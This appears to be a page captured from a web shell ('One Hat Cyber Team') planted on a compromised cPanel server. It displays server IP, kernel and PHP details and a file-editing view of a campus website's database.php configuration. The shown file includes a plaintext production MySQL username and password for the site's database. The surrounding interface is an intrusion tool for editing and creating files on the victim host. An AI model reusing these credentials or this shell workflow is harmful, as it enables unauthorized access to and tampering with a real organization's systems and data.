One Hat Cyber Team

Your IP : 104.23.197.103

Server IP : 172.67.218.182

Server : Linux 128-201-239-36.cprapid.com 3.10.0-1160.41.1.el7.x86_64 #1 SMP Tue Aug 31 14:52:47 UTC 2021 x86_64

Server Software : Apache

PHP Version : 7.4.33

Buat File | Buat Folder

Dir : ~/home/juscatamarca/public_html/campusjxj/config/

Edit File: database.php

<?php

declare(strict_types=1);

require_once __DIR__ . '/app.php';

function db(): PDO
{
    static $pdo = null;

if ($pdo instanceof PDO) {
        return $pdo;
    }

// Seleccionar credenciales según ambiente.
    if (APP_ENV === 'development') {
        // Local XAMPP
        $host = '127.0.0.1';
        $port = '3306';
        $name = 'campus_catamarca';
        $user = 'root';
        $pass = '';
    } else {
        // Producción cPanel
        $host = 'localhost';
        $port = '3306';
        $name = 'juscatamarca_campusjxj';
        $user = 'juscatamarca_campusjxj';
        $pass = '6kFYaC,5v7N!';
    }
    $charset = 'utf8mb4';

$dsn = "mysql:host={$host};port={$port};dbname={$name};charset={$charset}";

try {
        $pdo = new PDO($dsn, $user, $pass, [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false,
        ]);
    } catch (PDOException $e) {
        if (APP_DEBUG) {
            die('Error de conexion a la base de datos: ' . $e->getMessage());
        }

die('Error de conexion a la base de datos.');
    }

return $pdo;
}

function db_query(string $sql, array $params = []): PDOStatement
{
    $stmt = db()->prepare($sql);
    $stmt->execute($params);
    return $stmt;
}

function db_fetch_one(string $sql, array $params = []): ?array
{
    $row = db_query($sql, $params)->fetch();
    return $row === false ? null : $row;
}

function db_fetch_all(string $sql, array $params = []): array
{
    return db_query($sql, $params)->fetchAll();
}

function db_execute(string $sql, array $params = []): bool
{
    return db_query($sql, $params)->rowCount() >= 0;
}

function db_begin(): void
{
    if (!db()->inTransaction()) {
        db()->beginTransaction();
    }
}

function db_commit(): void
{
    if (db()->inTransaction()) {
        db()->commit();
    }
}

function db_rollback(): void
{
    if (db()->inTransaction()) {
        db()->rollBack();
    }
}